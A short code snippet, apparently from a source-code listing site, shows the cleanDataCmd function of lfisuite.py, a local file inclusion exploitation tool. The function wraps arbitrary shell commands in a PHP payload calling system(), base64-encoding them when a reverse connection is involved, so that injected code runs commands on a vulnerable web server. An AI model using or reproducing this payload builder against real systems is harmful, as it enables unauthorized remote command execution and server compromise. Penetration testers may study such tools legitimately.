lfisuite.py 文件源码

def cleanDataCmd(cmd):
    newcmd = "AbracadabrA ** <?php "

    if(cmd[:6] != "php://"):
        if(reverseConn not in cmd):
            cmds = cmd.split('&')
            for c in cmds:
                if(len(c) > 0):
                    newcmd += "system('%s');" %c
        else:
            b64cmd = base64.b64encode(cmd)
            newcmd += "system(base64_decode('%s'));" %b64cmd
    else:
        newcmd += cmd[6:]

    newcmd += "?> **"

    return newcmd